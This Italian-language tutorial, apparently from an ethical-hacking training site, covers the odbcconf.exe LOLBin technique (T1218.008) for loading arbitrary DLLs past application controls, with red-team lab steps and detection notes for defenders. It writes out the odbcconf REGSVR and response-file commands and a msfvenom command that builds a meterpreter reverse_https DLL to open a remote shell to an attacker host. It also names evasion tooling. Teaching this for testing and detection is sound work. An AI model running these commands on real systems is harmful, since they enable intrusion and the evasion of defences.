Odbcconf LOLBin: Odbcconf (T1218.008)

Odbcconf.exe è un'utility Windows legittima, firmata Microsoft, pensata per configurare driver ODBC e Data Source Name. Come molti binari LOLBAS, la sua firma digitale lo rende un vettore appetibile per l'esecuzione proxy di codice malevolo: gli avversari lo abusano per caricare DLL arbitrarie aggirando controlli applicativi che non prevedono il suo utilizzo.

La tecnica è classificata sotto TA0005 (Defense Evasion) perché sfrutta un binario di sistema per mascherare l'esecuzione di payload. Analogamente a Regsvr32, odbcconf.exe espone il flag REGSVR che consente di invocare DllRegisterServer su una libreria arbitraria, senza necessità di privilegi elevati e senza generare artefatti immediatamente sospetti nel registro di sistema.

L'impatto operativo è significativo: la tecnica compare in 1 gruppo APT documentato (Cobalt Group) e in 2 famiglie malware rilevanti come Bumblebee e Raspberry Robin, quest'ultimo distributore di ransomware e loader per broker di accesso iniziale. Nella kill chain la tecnica si colloca dopo l'accesso iniziale, tipicamente durante le fasi di execution e defense evasion, spesso come stadio intermedio tra un downloader iniziale (LNK, ISO, script) e il caricamento del payload principale in memoria.

La sintassi base per abusare del binario è documentata pubblicamente e trivialmente riproducibile in laboratorio. Il comando canonico è:

odbcconf.exe /S /A {REGSVR "C:\Users\Public\payload.dll"}

Il flag /S sopprime i messaggi a video, mentre /A accetta un'azione racchiusa tra parentesi graffe. La DLL bersaglio deve esporre DllRegisterServer come entry point, esattamente come per Regsvr32. Una variante che utilizza un file di risposta è:

odbcconf.exe /S /F payload.rsp

dove il file .rsp contiene la direttiva REGSVR con il path della libreria.

Per costruire il payload in un lab red team puoi generare una DLL con msfvenom (open source, incluso in Metasploit Framework):

msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f dll -o payload.dll

In alternativa Donut (open source) permette di convertire shellcode o assembly .NET in DLL position-independent, utile per evasione statica. Per generare loader più sofisticati con evasion AMSI/ETW si possono usare Sliver (open source) o Havoc (open source) come C2 framework che producono nativamente DLL compatibili con proxy execution via LOLBins.

Nella catena d'attacco realistica, la DLL viene rilasciata da uno stage precedente: un LNK dentro un ISO/IMG che invoca odbcconf, oppure uno script batch scaricato via HTA. Raspberry Robin, ad esempio, distribuisce payload tramite USB e successivamente lancia odbcconf per il secondo stadio.

Per testare il bypass di controlli applicativi in modo strutturato, Atomic Red Team (open source) include il test T1218.008 con più varianti: eseguirle su un endpoint con AppLocker in enforcement e regole di default permette di validare se il binario è stato correttamente inserito in blocklist. Un'altra risorsa utile è LOLBAS Project (open source), che mantiene aggiornato il catalogo di binari abusabili e i relativi vettori.

Durante l'esercizio è consigliabile hostare la DLL in path scrivibili dall'utente non privilegiato (%APPDATA%, C:\Users\Public) per dimostrare che la tecnica non richiede elevazione. Documenta hash della DLL, riga di comando completa e processo padre di odbcconf: sono gli elementi che il blue team dovrà correlare per costruire detection efficaci. Evita di combinare la tecnica con injection cross-process nel primo test, così da isolare la telemetria specifica del LOLBin.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.